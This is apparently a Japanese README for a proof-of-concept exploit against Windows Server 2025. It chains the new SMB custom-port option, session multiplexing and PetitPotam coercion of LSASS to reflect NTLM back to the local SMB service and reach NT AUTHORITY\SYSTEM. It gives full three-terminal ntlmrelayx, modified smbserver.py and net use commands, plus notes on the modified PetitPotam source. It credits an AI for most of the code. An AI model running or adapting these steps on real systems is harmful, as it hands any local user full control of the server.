
Windows Server 2025における、Windows 11 24H2 / Server 2025で導入されたSMB任意ポート機能を悪用した、NTLMリフレクションによるローカル権限昇格。
Windows 11 24H2 / Server 2025では、任意のTCPポートへの接続を可能にするSMBクライアント機能が導入されました(net use \\host\share /tcpport:PORT)。SMBセッションマルチプレクシング(MS-SMB2 Section 3.2.4.2)と組み合わせることで、ローカルNTLMリフレクションが可能になります。低権限ユーザーが特権サービス(LSASS)を強制して、攻撃者が制御する非標準ポートのSMBサーバーに認証させ、その後、キャプチャしたNTLM認証をポート445の実際のSMBサービスにリレーできます。
影響: 任意のローカルユーザーから NT AUTHORITY\SYSTEM への権限昇格。
影響を受けるバージョン: Windows Server 2025(デフォルト設定)。Windows 11 24H2ではSMB署名が強制され、リレーがブロックされます。
LSASS (SYSTEM) ──NTLM──► SMB Client ──TCP:12345──► smbserver.py (ours)
│
▼ relay NTLM blob
SMB Service (:445) ◄────────────────── ntlmrelayx.py
← SYSTEM session
net use がカスタムポート上の当社SMBサーバーへのTCP接続を開く\\127.0.0.1\share に認証させる3つのターミナルを開きます。
ターミナル 1 — ntlmrelayxを起動(RAWポート6666で待ち受け、localhost SMBへリレー):
python ntlmrelayx.py --no-smb-server --no-http-server --no-wcf-server --no-winrm-server --no-rpc-server --no-mssql-server --no-rdp-server -t smb://127.0.0.1 -c "whoami" -smb2support --raw-port 6666
ターミナル 2 — 修正版smbserverを起動(ポート12345で待ち受け、NTLMをポート6666へリレー):
python smbserver.py test . -port 12345 -smb2support -username user -password user -relay-port 6666
ターミナル 3 — エクスプロイトを実行:
:: カスタムポートで共有をマウント(永続的なTCP接続を開く)
net use \\127.0.0.1\test /tcpport:12345 /user:user user
:: LSASSを強制して当社SMBサーバーに認証させる
PetitPotam.exe 127.0.0.1 localhost 2
ntlmrelayxからの whoami 出力に NT AUTHORITY\SYSTEM と表示されます。
PetitPotam/ — 修正版PetitPotamソース。アップストリームからの変更点は2つ:
df1941c5-fe89-4e79-bf10-463657acf44d(WS2025 EFSRPCインターフェース)\pipe\efsrpcEfsRpcEncryptFileSrv)を使用、共有名は test にハードコードsmbserver.py — -relay-port フラグ付きの修正版impacket smbserver。SMB2 SESSION_SETUPをフックして、マルチプレクス接続上の2回目のNTLM認証をキャプチャし、RAWリレーサーバー(ntlmrelayx --raw-port)へリレーします。このPoCは、以下の研究と技術に基づき、主にAI(GLM 5.1)によって作成されました: